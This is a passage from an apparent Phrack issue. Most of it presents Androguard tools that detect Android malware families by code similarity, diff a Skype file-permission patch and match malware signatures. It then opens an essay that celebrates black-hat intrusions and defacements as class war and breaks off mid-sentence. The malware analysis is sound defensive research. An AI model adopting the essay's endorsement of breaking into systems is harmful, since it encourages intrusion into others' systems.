In [17]: dx.get_method_signature(d.CLASS_Lorg_eapp_MagicSMSActivity. METHOD_onCreate, predef_sign = analysis.SIGNATURE_L0_3).get_string() Out[17]: 'B[P1P0{Ljava/lang/StringBuilder;}P1 P1{Ljava/io/File;getAbsolutePath()Ljava/lang/String;} P1{Ljava/lang/String;valueOf(Ljava/lang/Object;)Ljava/lang/String;} P1{Ljava/lang/StringBuilder;(Ljava/lang/String;)V} P1{Ljava/lang/StringBuilder;append(Ljava/lang/String;) Ljava/lang/StringBuilder;} P1{Ljava/lang/StringBuilder;toString()Ljava/lang/String;} P0{Ljava/io/File;}

P0{Ljava/lang/StringBuilder;} P1{Ljava/lang/String;valueOf(Ljava/lang/Object;)Ljava/lang/String;} P1{Ljava/lang/StringBuilder;(Ljava/lang/String;)V} P1{Ljava/lang/StringBuilder;append(Ljava/lang/String;) Ljava/lang/StringBuilder;} P1{Ljava/lang/StringBuilder;toString()Ljava/lang/String;} P1{Ljava/io/File;(Ljava/lang/String;)V} P1{Ljava/io/File;exists()Z}I]B[R] B[P1{Ljava/io/File;createNewFile()Z}] B[P1P1P1P1P1P1P1P1P1P1P1P1P1P1P1P1P1P1P1P1P1P2P1P1G]B[G]'

In [18]: dx.get_method_signature(d.CLASS_Lorg_eapp_MagicSMSActivity. METHOD_onCreate, predef_sign = analysis.SIGNATURE_L0_4).get_string() Out[18]: 'B[P1{Landroid/app/Activity;onCreate(Landroid/os/Bundle;)V} P0{Ljava/lang/StringBuilder;} P1{Landroid/os/Environment;getExternalStorageDirectory()Ljava/io/File;} P1{Ljava/io/File;getAbsolutePath()Ljava/lang/String;} P1{Ljava/lang/String;valueOf(Ljava/lang/Object;)Ljava/lang/String;} P1{Ljava/lang/StringBuilder;(Ljava/lang/String;)V} P1{Ljava/lang/StringBuilder;append(Ljava/lang/String;)

[...]

Landroid/app/PendingIntent;)V}

[...]

B[G]'

########################################

It's interesting to see that even if our basic blocks are in a different order, the Kolmogorov complexity is preserved and that we observe an important similarity (TestReorg function). If we reorganize each basic block in the signature we can see that the results are quite the same (so basically the NCD bypasses a basic CFG obfuscation):

########################################

d@t0t0:~/elsim$ ./tests/test_similarity.py

* LZMA

(0.031779661774635315, 0)

(0.031779661774635315, 0)

(0.04237288236618042, 0)

(0.040169134736061096, 0)

(0.03983228653669357, 0)

(0.03991596773266792, 0)

(0.042016807943582535, 0)

(0.039256200194358826, 0)

(0.04356846585869789, 0)

(0.03933747485280037, 0)

(0.03719008341431618, 0)

(0.043478261679410934, 0)

(0.043478261679410934, 0)

(0.04025423899292946, 0)

(0.04411764815449715, 0)

(0.041580040007829666, 0)

(0.04149377718567848, 0)

(0.03563941270112991, 0)

(0.03966597095131874, 0)

(0.03563941270112991, 0)

(0.04184100404381752, 0)

(0.04393305256962776, 0)

(0.03974895551800728, 0)

(0.03983228653669357, 0)

(0.041753653436899185, 0)

[....]

########################################

The "hash" is the sequence of instructions in each method, and for each instruction we remove the information depending on the compilation (registers, etc.).

Having defined the "string" and the "hash" properties in the specific context of Android Apps, we can now test the algorithm on various samples. We use a tool called "androsim.py" which is a simple script based on "Elsim".

This tool detects and reports:

‑ the identical methods;

‑ the similar methods;

‑ the deleted methods;

‑ the new methods;

‑ the skipped methods.

Moreover, a similarity score (between 0.0 to 100.0) is calculated upon the values of the identical methods (1.0) and the similar methods (in this particular case, we calculate the final values using the BZ2 compressor due to the fact that the return value is more "interesting" for the score). It is more interesting because you will have an understandable value related to the similarity.

For the first test we use the "opfake" malware [6]. If we take two samples from the same family, an important value of similarity is revealed:

########################################

d@t0t0:~/androguard$ ./androsim.py ‑i

apks/malwares/opfake/\ b79106465173490e07512aa6a182b5da558ad2d4f6fae038101796b534628311 apks/malwares/opfake/\ b906279e8c79a12e5a10feafe5db850024dd75e955e9c2f9f82bbca10e0585a6

Elements:

IDENTICAL: 34

SIMILAR: 5

NEW: 0

DELETED: 0

SKIPPED: 0

‑‑> methods: 99.100500% of similarities

########################################

These two samples have similar methods and it's possible to have more information by specifying the "‑d" option:

########################################

SIMILAR methods:

Lcom/reg/MainRegActivity; displayFakeProgress ()V 61 ‑‑> Lcom/reg/MainRegActivity; displayFakeProgress ()V 61 0.0909090936184 Lcom/reg/MainRegActivity; getNextButton ()Landroid/widget/Button; 40

‑‑> Lcom/reg/MainRegActivity; getNextButton ()Landroid/widget/Button; 40 0.125 Lcom/reg/MainRegActivity; showLinkForm ()V 111 ‑‑> Lcom/reg/MainRegActivity; showLinkForm ()V 111 0.183673471212 Lcom/reg/MainRegActivity; showRules ()V 132 ‑‑> Lcom/reg/MainRegActivity; showRules ()V 132 0.0731707289815 Lcom/reg/MainRegActivity; setMainScreen ()V 147 ‑‑> Lcom/reg/MainRegActivity; setMainScreen ()V 147 0.319148927927

IDENTICAL methods:

Lcom/reg/MainRegActivity; PushMsg (Ljava/lang/String; Ljava/lang/String;)V 76

‑‑> Lcom/reg/MainRegActivity; PushMsg (Ljava/lang/String; Ljava/lang/String;)V 76

Lcom/reg/SmsReceiver; setListener (Lcom/reg/SMSAction;)V 3 ‑‑> Lcom/reg/SmsReceiver; setListener (Lcom/reg/SMSAction;)V 3

Lcom/reg/MainRegActivity; loadString (I)Ljava/lang/String; 52 ‑‑> Lcom/reg/MainRegActivity; loadString (I) Ljava/lang/String; 52

Lcom/reg/MainRegActivity; access$600 ()Ljava/lang/String; 3 ‑‑> Lcom/reg/MainRegActivity; access$600 ()Ljava/lang/String; 3

Lcom/reg/ParseXml; getXMLTags (Ljava/lang/String; Ljava/lang/String;)Ljava/util/Vector; 82 ‑‑> Lcom/reg/ParseXml; getXMLTags (Ljava/lang/String; Ljava/lang/String;)Ljava/util/Vector; 82

Lcom/reg/ParseXml; getXMLExtra (Ljava/lang/String; Ljava/lang/String;)Ljava/lang/String; 52 ‑‑> Lcom/reg/ParseXml; getXMLExtra (Ljava/lang/String; Ljava/lang/String;)Ljava/lang/String; 52

Lcom/reg/MainRegActivity; SaveSuccess ()V 23 ‑‑> Lcom/reg/MainRegActivity; SaveSuccess ()V 23

Lcom/reg/SmsReceiver; onReceive (Landroid/content/Context; Landroid/content/Intent;)V 59

‑‑> Lcom/reg/SmsReceiver; onReceive (Landroid/content/Context; Landroid/content/Intent;)V 59

Lcom/reg/ParseXml; getXMLIntElement (Ljava/lang/String; Ljava/lang/String;)I 55

‑‑> Lcom/reg/ParseXml; getXMLIntElement (Ljava/lang/String; Ljava/lang/String;)I 55

Lcom/reg/MainRegActivity; getCountry ()Ljava/lang/String; 13 ‑‑> Lcom/reg/MainRegActivity; getCountry ()Ljava/lang/String; 13

Lcom/reg/MainRegActivity$5; onReceive (Landroid/content/Context; Landroid/content/Intent;)V 35

‑‑> Lcom/reg/MainRegActivity$5; onReceive (Landroid/content/Context; Landroid/content/Intent;)V 35

Lcom/reg/MainRegActivity$1; (Lcom/reg/MainRegActivity;)V 6 ‑‑> Lcom/reg/MainRegActivity$1; (Lcom/reg/MainRegActivity;)V 6

Lcom/reg/MainRegActivity$S_itm; (Lcom/reg/MainRegActivity;)V 21 ‑‑> Lcom/reg/MainRegActivity$S_itm; (Lcom/reg/MainRegActivity;)V 21

[...]

NEW methods:

DELETED methods:

SKIPPED methods:

########################################

Basically we are able to determine if two samples are from the same malware family. If they are, the analyst can start his analysis from the similar methods.

In the next part we will see how we can see the differences (what instructions have been modified) between two similar methods. If we test the tool by using two different samples (like opfake and foncy) we observe the following:

########################################

d@t0t0:~/androguard$ ./androsim.py ‑i

apks/malwares/opfake/\ b79106465173490e07512aa6a182b5da558ad2d4f6fae038101796b534628311 apks/malwares/foncy/\ 01f6f6379543f4aaa0d6b8dcd682f4e2b106527584b3645eb674f1646faccad5

Elements:

IDENTICAL: 1

SIMILAR: 0

NEW: 2

DELETED: 38

SKIPPED: 0

‑‑> methods: 33.333333% of similarities

########################################

We see a strange similarity score due to the fact that all methods, including those of small size, have been compared. We can skip the specific case of methods having a small size using the "‑s" option (to filter according to the size of the method in bytes):

########################################

d@t0t0:~/androguard$ ./androsim.py ‑i

apks/malwares/opfake/\ b79106465173490e07512aa6a182b5da558ad2d4f6fae038101796b534628311 apks/malwares/foncy/\ 01f6f6379543f4aaa0d6b8dcd682f4e2b106527584b3645eb674f1646faccad5 ‑s 10

Elements:

IDENTICAL: 0

SIMILAR: 0

NEW: 2

DELETED: 29

SKIPPED: 33

‑‑> methods: 0.000000% of similarities

########################################

We can do a lot of things with this kind of tool such as: ‑ detecting plagiarism between two android applications ‑ checking if an application is correctly protected with an obfuscator

‑ extracting easily injected codes (if you know the original application)

There are many other interesting "ways" to use this tool such as discovering if malware samples have been written by the same author, or if some pieces of code have been reused. Analyzing the "faketoken" [7] sample and the "opfake.d" sample we have observed an interesting result.

The first sample "faketoken" is detected by 19/43 antivirus products on VirusTotal [8]. The second sample "opfake.d" is detected by 16/41 antivirus products on VirusTotal [9]. All of these antivirus products are using different names with the exception of DrWeb.

Now if we run our tool we observe the following output:

########################################

d@t0t0:~/androguard$ ./androsim.py ‑i

apks/plagiarism/opfake/\ f7c36355c706fc9dd8954c096825e0613807e0da4bd7f3de97de0aec0be23b79 apks/plagiarism/opfake/\ 61da462a03d8651a6088958b438b44527973601e604e3ca18cb7aa0b3952d2ac

Elements:

IDENTICAL: 951

SIMILAR: 5

NEW: 34

DELETED: 23

SKIPPED: 0

‑‑> methods: 96.516954% of similarities

########################################

We can skip specific libraries common to these samples such as "Lorg/simpleframework/xml" and methods of small sizes. This provides us with an even more interesting result:

########################################

d@t0t0:~/androguard$ ./androsim.py ‑i

apks/plagiarism/opfake/\ f7c36355c706fc9dd8954c096825e0613807e0da4bd7f3de97de0aec0be23b79 apks/plagiarism/opfake/\ 61da462a03d8651a6088958b438b44527973601e604e3ca18cb7aa0b3952d2ac ‑e "Lorg/simpleframework/" ‑s 100 ‑d

Elements:

IDENTICAL: 9

SIMILAR: 3

NEW: 14

DELETED: 11

SKIPPED: 5260

‑‑> methods: 44.998713% of similarities

SIMILAR methods:

Ltoken/bot/MainApplication; loadStartSettings (Ljava/lang/String;)Ltoken/bot/StartSettings; 230 ‑‑> Lcom/load/wap/MainApplication; loadStartSettings (Ljava/lang/String;)Lcom/load/wap/StartSettings; 190 0.375

Ltoken/bot/MainService; threadOperationRun

(I Ljava/lang/Object;)V 197

‑‑> Lcom/load/wap/MainService; threadOperationRun (I Ljava/lang/Object;)V 122 0.319999992847

Ltoken/bot/ServerResponse; ()V 133

‑‑> Lcom/load/wap/ServerResponse; ()V 125 0.214285716414

IDENTICAL methods:

Ltoken/bot/Settings; isDeleteMessage (Ljava/lang/String; Ljava/lang/String;)Z 132

‑‑> Lcom/load/wap/Settings; isDeleteMessage (Ljava/lang/String; Ljava/lang/String;)Z 132

Ltoken/bot/UpdateActivity; setMainScreen ()V 107 ‑‑> Lcom/load/wap/UpdateActivity; setMainScreen ()V 107

Ltoken/bot/MainApplication; sendGetRequest (Ljava/lang/String; Ljava/util/List;)V 132

‑‑> Lcom/load/wap/MainApplication; sendGetRequest (Ljava/lang/String; Ljava/util/List;)V 132

Ltoken/bot/MainService; onStart (Landroid/content/Intent; I)V 106 ‑‑> Lcom/load/wap/MainService; onStart (Landroid/content/Intent; I)V 106

Ltoken/bot/MainApplication; sendPostRequest (Ljava/lang/String; Ljava/util/List;)V 197

‑‑> Lcom/load/wap/MainApplication; sendPostRequest (Ljava/lang/String; Ljava/util/List;)V 197

Ltoken/bot/MainApplication; DownloadApk (Ljava/lang/String; Ljava/lang/String;)Z 106

‑‑> Lcom/load/wap/MainApplication; DownloadApk (Ljava/lang/String; Ljava/lang/String;)Z 106

Ltoken/bot/Settings; isCatchMessage (Ljava/lang/String; Ljava/lang/String;)Ltoken/bot/CatchResult; 165 ‑‑> Lcom/load/wap/Settings; isCatchMessage (Ljava/lang/String; Ljava/lang/String;) Lcom/load/wap/CatchResult; 165

Ltoken/bot/MainApplication; getContacts (Landroid/content/Context;)Ljava/util/Vector; 230 ‑‑> Lcom/load/wap/MainApplication; getContacts (Landroid/content/Context;)Ljava/util/Vector; 230

Ltoken/bot/MainApplication; dateFromString (Ljava/lang/String;)Ljava/util/Date; 103 ‑‑> Lcom/load/wap/MainApplication; dateFromString (Ljava/lang/String;)Ljava/util/Date; 103

########################################

As we can see, the names of the methods are "exactly" the same, and the signatures (the bytecodes with a high probability) are the same. It can be really interesting to detect if your software has been ripped off by someone.

‑‑‑‑[ 3.2 Differences between two applications

Up to this point, we have a tool which is able to recognize similar methods, but we would like more information about the differences between each method.

For that we will apply the same algorithm but we will change the "granularity" and focus on basic blocks in order to extract differences. However, in this specific case, we will not use our classical signature for each basic block but rather a simple "string" which represents the sequence of instructions. So, finally, as in the previous algorithm, we will have: ‑ identical basic blocs

‑ similar basic blocs

‑ new basic blocs

‑ deleted basic blocs

With the list of similar basic blocks, we can apply a standard "diff" algorithm between each similar basic blocks to know which instructions have been added or removed.

The Longuest Common Subsequence (LCS) algorithm [11] can then be used to obtain all differences. In order to apply the LCS algorithm, we will map each unique instruction to a simple string:

ADD 3 ‑> "\00"

ADD 1 ‑> "\01"

MOV 3 ‑> "\02"

ADD 3 ‑> "\00"

If we have two basic blocks, we must translate each basic block into a final string:

ADD 3

ADD 1

SUB 2

IGET => "\x00\x01\x02\x03\x00\x04"

ADD 3

GOTO

ADD 3

ADD 3

SUB 2

IGET => "\x00\x00\x02\x03\x05\x04"

MUL 4

GOTO

The application of the LCS algorithm[11] between these two strings reveals the instructions that have been added or removed:

########################################

In [5]: from elsim_dalvik.py import LCS

In [7]: a = "\x00\x01\x02\x03\x00\x04"

In [9]: b = "\x00\x00\x02\x03\x05\x04"

In [10]: z = LCS(a, b)

In [12]: from elsim_dalvik import getDiff

In [13]: l_a = []

In [14]: l_r = []

In [15]: getDiff(z, a, b, len(a), len(b), l_a, l_r)

In [16]: l_a

Out[16]: [(1, '\x00'), (4, '\x05')]

// "ADD 3" and "MUL 4" have been added in the second basic bloc

In [17]: l_r

Out[18]: [(1, '\x01'), (4, '\x00')]

// ""ADD 1" and "ADD 3" have been remove in the first basic bloc

########################################

Although it's also possible to use a better algorithm such as the Needleman algorithm [10] (used in biology for "sequence alignment" [12], or in the comparison of network traces [35]), the tests performed have demonstrated that the LCS algorithm was sufficient.

Now, we have a new tool called "androdiff.py" which can be used to extract and observe differences between two Android applications. We have tested it against two versions of the Skype application to analyze the patch of a security vulnerability [13] (mainly due to incorrect use of file permissions):

########################################

d@t0t0:~/androguard$ ./androsim.py ‑i elsim/examples/android/com.skype.raider_1.0.0.831.apk elsim/examples/android/com.skype.raider_1.0.0.983.apk ‑c BZ2

Elements:

IDENTICAL: 2059

SIMILAR: 167

NEW: 27

DELETED: 0

SKIPPED: 0

‑‑> methods: 98.192539% of similarities

########################################

We have several methods to analyze, but only a few new methods are present, and two of them are particularly interesting:

########################################

Lcom/skype/ipc/SkypeKitRunner; chmod (Ljava/io/File; Ljava/lang/String;)Z 61 Lcom/skype/ipc/SkypeKitRunner; fixPermissions ([Ljava/io/File;)V 47

########################################

So we can now search in the similar methods where these new methods are called:

########################################

d@t0t0:~/androguard$ ./androdiff.py ‑i elsim/examples/android/com.skype.raider_1.0.0.831.apk elsim/examples/android/com.skype.raider_1.0.0.983.apk ‑d

[...]

[ ('Lcom/skype/ipc/SkypeKitRunner;', 'run', '()V') ] <‑>

[ ('Lcom/skype/ipc/SkypeKitRunner;', 'run', '()V') ] run‑BB@0xae run‑BB@0xae

Added Elements(2)

0xba 3 invoke‑virtual v8 , [ meth@ 5897 Ljava/security/MessageDigest; reset ['()', 'V'] ] 0xc0 4 sget‑object v9 , [ field@ 1299 Lcom/skype/ipc/SkypeKitRunner; [B MAITSEAINE ]

Deleted Elements(0)

run‑BB@0x320 run‑BB@0x316

Added Elements(1)

0x332 5 const/4 v8 , [ #+ 0 ] // {0}

Deleted Elements(1)

0x328 5 const/4 v8 , [ #+ 3 ] // {3}

run‑BB@0x352 run‑BB@0x348

Added Elements(1)

0x364 4 const‑string v5 , [ string@ 2921 'chmod 750 ' ] Deleted Elements(1)

0x35a 4 const‑string v5 , [ string@ 2904 'chmod 777 ' ]

run‑BB@0x52c run‑BB@0x522

Added Elements(10)

0x59e 29 invoke‑virtual v4 , [ meth@ 109 Landroid/content/Context; getFilesDir ['()', 'Ljava/io/File;'] ] 0x5a4 30 move‑result‑object v4

0x5a6 31 invoke‑virtual v4 , [ meth@ 5719 Ljava/io/File; getAbsolutePath ['()', 'Ljava/lang/String;'] ]

0x5ac 32 move‑result‑object v4

0x5be 37 move‑object/from16 v0 , v19

0x5c2 38 iget‑object v0 , v0 , [ field@ 1314 Lcom/skype/ipc/SkypeKitRunner; Landroid/content/Context; mContext ] 0x5c6 39 move‑object v4 , v0

0x5d8 44 move‑object/from16 v0 , v19

0x5dc 45 move‑object v1 , v4

0x5de 46 invoke‑direct v0 , v1 , [ meth@ 1923 Lcom/skype/ipc/SkypeKitRunner; fixPermissions ['([Ljava/io/File;)', 'V'] ]

Deleted Elements(0)

[...]

########################################

As you can see, some constants are changed (3 to 0, 777 to 750) to patch an incorrect use of file permissions (you need to take the original CFG to view the details (maybe in a new version we will see the results in one CFG)). A new method is called to fix the existing permissions of the files.

‑‑‑‑[ 3.3 Looking for a signature in applications

Now, if you wish to detect if a specific method (or a class) is present in another application, you need to check all methods of this application with your method.

Moreover, if we have a database of signatures, we must check if each signature is present in our application. For example, if your database is composed of 1000 signatures, and our application contains 1000 methods we will need to perform:

‑ 1000 * 1000 ‑> 1.000.000 of comparisons to know the result

That's why we need another solution and we will use the second algorithm (2.2). In this algorithm we need a set of float values to perform the clustering. So, in this example, we will use different sources of entropies.

We have already described the generic algorithm (2.2), so we only need to define our element in this implementation. An element (in fact a part of our signature) will be composed of:

‑ a string which represents the method (or the class) (in fact it is a signature obtained by the grammar (3.1)) ‑ a set of entropies (float values)

The most important part is the set of entropies. We have used different sources of entropies to have better results. An Android application provides an important amount of information. One of them is the API that is used (the Android/Java API). Another one is the exceptions because they define very well a method. We can also use the entropy of the signature and the bytecode. Maybe we have redundancy by using these entropies (due to the fact that the entropy of the signature is composed of both the Android/Java packages and the exceptions), so we need to work more on this subject but this problem will not produce false positives.

We will also define a simple JSON file that we will use to generate our signature in order to extract information like the entropies and to add it in a database. We take the "logastrod" [14] malware and we create the signature after the analysis of this malware in order to find where are the most interesting malicious parts:

########################################

d@t0t0:~/androguard$ cat signatures/logastrod.sign

[ { "SAMPLE" :

"apks/malwares/logastrod/ \ f18891b20623ad35713e7f44feade51a1fd16030af55056a45cefa3f5f38e983" }, { "BASE" : "AndroidOS", "NAME" : "Logastrod", "SIGNATURE" :

[ { "TYPE" :

"METHSIM", "CN" : "Lcom/pavel/newmodule/RuleActivity;", "MN" : "onCreate", "D" : "(Landroid/os/Bundle;)V" }, { "TYPE" : "METHSIM", "CN" : "Lcom/pavel/newmodule/LicenseActivity;", "MN" : "onCreate", "D" : "(Landroid/os/Bundle;)V" } ], "BF" : "a && b" } ]

########################################

The name of this signature is "Logastrod" and we need to recognize the two methods (the boolean formula) to make a positive match.

By using the "androcsign.py" tool we can extract the entropies and signatures of the methods from the specified sample, and add it to our database:

########################################

d@t0t0:~/androguard$ ./androcsign.py ‑i signatures/logastrod.sign ‑d signatures/dbandroguard

[{u'Logastrod': [[[0, 'Qlt[...]kdd',

4.809434597538392, 4.584117420715886, 4.538809415871831, 0.0]], u'a && b' ]}]

########################################

Now it is possible to use "androsign.py" to check a particular file or an entire directory by using a database of signatures.

"f22affca4ea15e58d8b4d345e54a7910b03c37fa70941bbcf36659cb809f13d9" is a sample of this "logastrod" malware:

########################################

d@t0t0:~/androguard$ ./androsign.py ‑i apks/malwares/logastrod/f22affca4ea15e58d8b4d345e54a7910b03c37fa70941bbcf36 659cb809f13d9 ‑b signatures/dbandroguard ‑c signatures/dbconfig ‑v [SIGN:69 CLUSTERS:10

CMP_CLUSTERS:8 ELEMENTS:31 CMP_ELEMENTS:39 ‑> 2139 1.823282%] [[91, 92, 0.27931034564971924], [91, 93, 0.18803419172763824]] ‑‑‑‑> Logastrod

########################################

As you can see, we have only done "39" comparisons thanks to the clustering. Without this method, "2139" comparisons would have been required for the same result.

########################################

d@t0t0:~/androguard$ ./androsign.py ‑d apks/malwares/logastrod/ ‑b signatures/dbandroguard ‑c signatures/dbconfig f22affca4ea15e58d8b4d345e54a7910b03c37fa70941bbcf36659cb809f13d9 : ‑‑‑‑> Logastrod a0a42b9f1d45a0e09a8da6d9ce8e74952340a538251d0e697cfe1b16e5ac6696 : ‑‑‑‑> Logastrod 77943921c7d6bad5f2e45fa22df4c23d034021ae56f0b09ecac8efb97830e0de : ‑‑‑‑> Logastrod fea4dd75dfc4bfe279faf0b7675c48166ecac57bc8e8436c277a6da20582892f : ‑‑‑‑> Logastrod f18891b20623ad35713e7f44feade51a1fd16030af55056a45cefa3f5f38e983 : ‑‑‑‑> Logastrod e45caa25f87531cff2ee2803374ac78de0757941dd1311e3411ce4cdf6d5d942 : ‑‑‑‑> Logastrod

########################################

We can see that on VirusTotal all these samples are not detected identically by few AV products:

########################################

f22affca4ea15e58d8b4d345e54a7910b03c37fa70941bbcf36659cb809f13d9 : 22/43 antivirus a0a42b9f1d45a0e09a8da6d9ce8e74952340a538251d0e697cfe1b16e5ac6696 : 19/43 antivirus 77943921c7d6bad5f2e45fa22df4c23d034021ae56f0b09ecac8efb97830e0de : 22/43 antivirus fea4dd75dfc4bfe279faf0b7675c48166ecac57bc8e8436c277a6da20582892f : 21/43 antivirus f18891b20623ad35713e7f44feade51a1fd16030af55056a45cefa3f5f38e983 : 19/43 antivirus e45caa25f87531cff2ee2803374ac78de0757941dd1311e3411ce4cdf6d5d942 : 21/43 antivirus

########################################

We maintain an Open Source Database of Android Malware [15] where you can find analysis links and a few signatures for Android malware. The main difficulty is to create a signature because you must choose carefully which method/class you wish to add to the database in order to avoid as much as possible false positives. In other terms, don't add a method/class from a free/proprietary "API" or project in a malware database :)

You can use this tool to check if your application has been stolen by someone else using a multiple file analysis. Imagine that you have created an uber open source && l33t algorithm and you wish to know if your algorithm has been ripped off and included in a proprietary software. Of course, it is possible to build databases of many "things", from a cryptographic functions database to a DNA database...

‑‑[ 4 ‑ Conclusion

The similarity is a difficult problem but it is possible to achieve an interesting result by using the NCD and the entropy with "normalized" data.

So, at the end of this paper, you will find two tools. The first one is Androguard in the first stable 1.0 version. Androguard is a known framework in Python to manipulate, reverse engineer, and play with Android applications. The stable version we release with this paper brings a lot of new things (especially the stability of the similarities tools) and a few tips and tricks to reverse engineer Android Apps (such as dealing with non‑ASCII names).

In this framework, several tools are using the new open source software Elsim to search the similarities/dissimilarities in different sets of elements. We have described two kinds of "generic" algorithms. The first one can be used if you wish to find the similarities between two sets of elements. The second one can be used if you have a database of signatures and you need a quick engine to search the signatures in a set of elements.

Finally we described a new algorithm of entropy ("Descriptional entropy") which can be used to classify and obtain more information from an element and two new algorithms which can help you to answer to a similarity "problem".

But Elsim is not limited to Android applications, and the tool will be improved in the next months to support x86 and ARM binaries in order to have an open source software with such capabilities.

Many thanks to the Phrack staff for the suggestions on how to improve this work.

"Talk is cheap. Show me the code". Torvalds, Linus"

‑‑[ 5 ‑ References

[1] Androguard. http://code.google.com/p/androguard/

[2] Silvio Cesare (2010). "Classification of malware using structured control flow".

[3] MacQueen, J. B. (1967). "Some Methods for classification and Analysis of Multivariate Observations".

[4] Android source code (dalvik). http://source.android.com/

[5] Foncy Android Malware. http://code.google.com/p/androguard/wiki/DatabaseAndroidMalwares#foncy

[6] Opfake Android Malware. http://code.google.com/p/androguard/wiki/DatabaseAndroidMalwares#opfake_\

(all)

[7] Faketoken Android Malware. http://code.google.com/p/androguard/wiki/DatabaseAndroidMalwares#faketoken

[8] https://www.virustotal.com/file/\

f7c36355c706fc9dd8954c096825e0613807e0da4bd7f3de97de0aec0be23b79/analysis/ [9] https://www.virustotal.com/file/\

61da462a03d8651a6088958b438b44527973601e604e3ca18cb7aa0b3952d2ac/analysis/ [10] Needleman, Saul B and Wunsch, Christian D. (1970). "A general method applicable to the search for similarities in the amino acid sequence of two proteins"

[11] L. Bergroth and H. Hakonen and T. Raita (2000). "A Survey of Longest Common Subsequence Algorithms".

[12] Sequence Alignement. http://en.wikipedia.org/wiki/Sequence_alignment

[13] Android Police. http://www.androidpolice.com/2011/04/14/\

exclusive‑vulnerability‑in‑skype‑for‑android‑is‑exposing‑your‑name\ ‑phone‑number‑chat‑logs‑and‑a‑lot‑more/.

[14] Logastrod Android Malware. http://code.google.com/p/androguard/wiki/DatabaseAndroidMalwares#Logastrod

[15] Opensource Database of Android Malware. http://code.google.com/p/androguard/wiki/DatabaseAndroidMalwares

[16] Manuel Cebrian, Manuel Alfonseca and Alfonso Ortega. "Common Pitfalls Using Normalized Compression Distance: What to Watch Out for in a Compressor"

[17] R. Cilibrasi and P. M. B. Vitanyi. "Clustering by compression" [18] Kolmogorov A. N (1965). "Three Approaches for Defining the Concept of Information Quantity"

[19] Snappy compressor. http://code.google.com/p/snappy/

[20] Cilibrasi, R. & Vitanyi, P. (2005). "Clustering by compression" [21] Dullien, T. & Rolles, R. (2005). "Graph‑based comparison of executable objects"

[22] M. Li and P. Vitanyi (1997). "An introduction to Kolmogorov Complexity and Its Applications"

[23] D. Sankoff and J. Kruskal (1983, 1989).

"Time warps, string edits and macromolecules"

[24] J. Shallit, M.‑W. Wang. "Automatic Complexity of Strings". [25] T. Sabin. "Comparing binaries with graph isomorphisms". http://razor.bindview.com/publish/papers/comparingbinaries.html

[26] Wikipedia: http://en.wikipedia.org/wiki/Kolmogorov_complexity

[27] Jesus Freke. http://code.google.com/p/smali/

[28] http://en.wikipedia.org/wiki/Cluster_analysis

[29] A. D. Danaksok and F. G. Gologlu, On Lempel‑Ziv. "Complexity of Sequences"

[30] Lempel, A., Ziv, J. "On the complexity of finite sequences" [31] S. Janson, S. Lonardi and W. Szpankowski. "On average sequence complexity"

[32] J. Shallit. "On the maximum number of distinct factors in a binary string"

[33] http://www.c‑sharpcorner.com/uploadfile/acinonyx72/calculating\

‑the‑normalized‑compression‑distance‑between‑two‑strings/$ [34] SMILES http://en.wikipedia.org/wiki/Simplified_molecular‑input_line‑entry_system

[35] Netzob http://www.netzob.org/

‑‑[ 6 ‑ Code

begin 664 androguard‑1.0.tar.gz M'XL("'KQ>T\``V%N9')O9W5A<F0M,2XP+G1A<@#L/6ESVDC3^_7E5\SB)XM( end

Lines in the Sand

==Phrack Inc.==

Volume 0x0e, Issue 0x44, Phile #0x10 of 0x13

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Lines in the Sand: ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑=[ Which Side Are You On in the Hacker Class War ]=‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by Anonymous ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑

With dramatically growing hacker and leaker activity paralleling the revolutionary upheavals around the world, we are increasingly hearing the rhetoric of "cyberwar" thrown around by governments attempting to maintain legitimacy and exercise more police‑state powers. In talking about the FBI's priorities ten years after 9/11, FBI director Robert Mueller stated in a recent speech at the International Association of Chiefs of Police(IACP) conference that "the next threat will be cyber‑based ... self‑radicalized individuals using online resources and individuals planning cyber attacks" [21]. Although hackers made a mockery of Mueller and the IACP during the conference by defacing their websites, it is hard to believe that hackers are a bigger threat than the "terrorists". Still, this logic is being used to send many more billions of dollars into white hat pockets at private military and intelligence contracted corporations to develop better defensive and offensive technology. The US is also proposing several changes to the 1986 Computer Fraud and Abuse Act, providing increased sentences (including mandantory minimums) as well as RICO Act classifications for computer hacking. For the most part, the increased hacker busts have largely targeted small‑time defacers and DDoS kids allegedly affiliated with Anonymous ‑ hardly the "foreign terrorist threat to critical infrastructure" used to justify the proposed increased penalties for hackers and increased cashflow to the security industry. But there's more than small timers at play: attacks against high profile institutions including law enforcement, military and corporate targets have escalated, becoming both more destructive as well as more politically articulate. We're experiencing the opening stages of the next Hacker Class War, and with many factions at play each operating with their own agenda and strategies, with more and more hackers breaking into shit for the rev or selling out to the military intelligence industrial complex, the question is asked "which side are you on"?

U.S. military officials, eager to talk about how the Pentagon has boosted its computer defenses, often remain quiet when asked about its offensive Internet capabilities. A list of cyber capabilities‑‑ available only to policymakers‑‑ is described as ranging from planting a computer virus to bringing down electric grids [1]. This would not be possible if it were not for the assistance of computer hackers working directly or indirectly for the Department of Defense, as well as the tendency in our communities to support or tolerate those who choose to do so. Unfortunately, this mentality is frequently espoused by figureheads commonly quoted in mainstream news articles, where they claim to speak on behalf of the hacker community. Conversely, there has always been resentment from black hats and the criminally minded for the corporate sellouts who claim to be hackers but instead choose to protect systems against those who actually break into them. Much has been written about the corrupt white hats who work to protect vital infrastructure against other, more fun‑loving hackers. Many lulz have been had over the years every time these big shots get owned and all of their emails and passwords are released in nicely formatted .txt files. Besides FBI collaborating fucks and security "professionals", it is time to call out the other emerging threat to the integrity of our scene: the US military's active effort to train and recruit hackers into 